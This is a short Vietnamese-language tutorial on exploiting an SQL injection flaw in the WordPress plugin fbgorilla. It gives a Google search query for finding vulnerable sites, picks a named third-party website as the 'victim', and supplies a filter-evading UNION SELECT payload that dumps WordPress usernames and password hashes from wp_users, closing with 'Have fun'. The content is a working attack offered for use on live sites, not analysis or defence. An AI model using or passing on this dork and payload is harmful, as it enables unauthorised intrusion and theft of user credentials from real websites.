Khai thác lỗi SQli trên plugin fbgorilla của wordpress

- Vào google search với từ khóa

inurl:wp-content/plugins/fbgorilla/game_play.php?id=

- Chọn 1 victim. ở đây mình trọn link sau:

http://fansofsuperheros.com/wp-content/plugins/fbgorilla/game_play.php?id=49&pid=657538357599693&t=1385539112

- Xóa  &pid=657538357599693&t=1385539112 ở link đi chỉ để lại đến chỗ id=49. Ta được link như sau

http://fansofsuperheros.com/wp-content/plugins/fbgorilla/game_play.php?id=49

- Thêm đoạn sau vào link

and 4=1 /*!50000UNION*/ /*!50000SELECT*/ 1,2,/*!50000group_Concat(user_login,0x2f,user_pass)*/,4,5,6,7,8,9,10,11,12,13 from wp_users--

- Và đây là kết quả

Have fun. Ai lech ghi dùm cái nguồn.